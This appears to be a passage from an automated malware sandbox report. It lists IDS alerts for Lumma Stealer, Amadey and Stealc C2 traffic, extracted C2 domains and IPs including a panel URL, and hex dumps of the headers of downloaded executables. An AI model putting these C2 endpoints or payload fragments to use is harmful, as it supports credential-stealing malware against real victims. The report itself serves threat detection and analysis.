Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49716 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:58522 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:50158 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:61381 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:54766 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58526 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:60709 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:58523
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:58525 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58528 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58529 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58530 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58532 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58534 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58538 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:49340 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:58097 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:58740 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:58537 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:58535 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:54538 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58539 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58540 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58541 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58543 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:58544 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58545 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58547 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:63998 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:57014 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:55382 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:60500 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58554 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58557 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:58559 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:58555 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58556 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58565 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58563 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58571 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:58575 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58576 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58586 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58589 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58591 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:58595 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:58593 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:58630 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49716 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:58526 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:58526 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:58540 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:58534 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:58539 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:58539 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:58557 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:58541 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:58557 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:58541 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:58554 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:58554 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:58571 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:58589 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:58528 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:58528 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:58595 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 02:45:20 GMTContent-Type: application/octet-streamContent-Length: 2812928Last-Modified: Fri, 01 Nov 2024 01:30:20 GMTConnection: keep-aliveETag: "67242f2c-2aec00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 02 7a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 6b 77 75 79 6b 6b 61 00 a0 2a 00 00 a0 00 00 00 8a 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6b 68 6c 68 63 79 65 00 20 00 00 00 40 2b 00 00 06 00 00 00 c4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 ca 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 02:45:25 GMTContent-Type: application/octet-streamContent-Length: 1913856Last-Modified: Fri, 01 Nov 2024 02:41:17 GMTConnection: keep-aliveETag: "67243fcd-1d3400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 cf 54 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 b5 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 b4 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 65 62 66 74 73 66 6e 00 20 1a 00 00 a0 31 00 00 16 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 63 79 63 6d 6d 75 74 00 10 00 00 00 c0 4b 00 00 06 00 00 00 0c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 12 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 02:46:09 GMTContent-Type: application/octet-streamContent-Length: 2948608Last-Modified: Fri, 01 Nov 2024 02:40:57 GMTConnection: keep-aliveETag: "67243fb9-2cfe00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 10 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 30 00 00 04 00 00 9c 35 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 6c 70 78 67 67 6f 6e 00 50 2a 00 00 b0 05 00 00 42 2a 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 61 62 64 70 79 6a 76 00 10 00 00 00 00 30 00 00 06 00 00 00 d6 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 30 00 00 22 00 00 00 dc 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 02:46:19 GMTContent-Type: application/octet-streamContent-Length: 2161152Last-Modified: Fri, 01 Nov 2024 02:41:10 GMTConnection: keep-aliveETag: "67243fc6-20fa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 c0 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 73 00 00 04 00 00 fe 7b 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 63 79 78 75 6c 78 75 00 50 1a 00 00 60 59 00 00 4a 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6d 71 66 7a 64 6d 6c 00 10 00 00 00 b0 73 00 00 04 00 00 00 d4 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 73 00 00 22 00 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 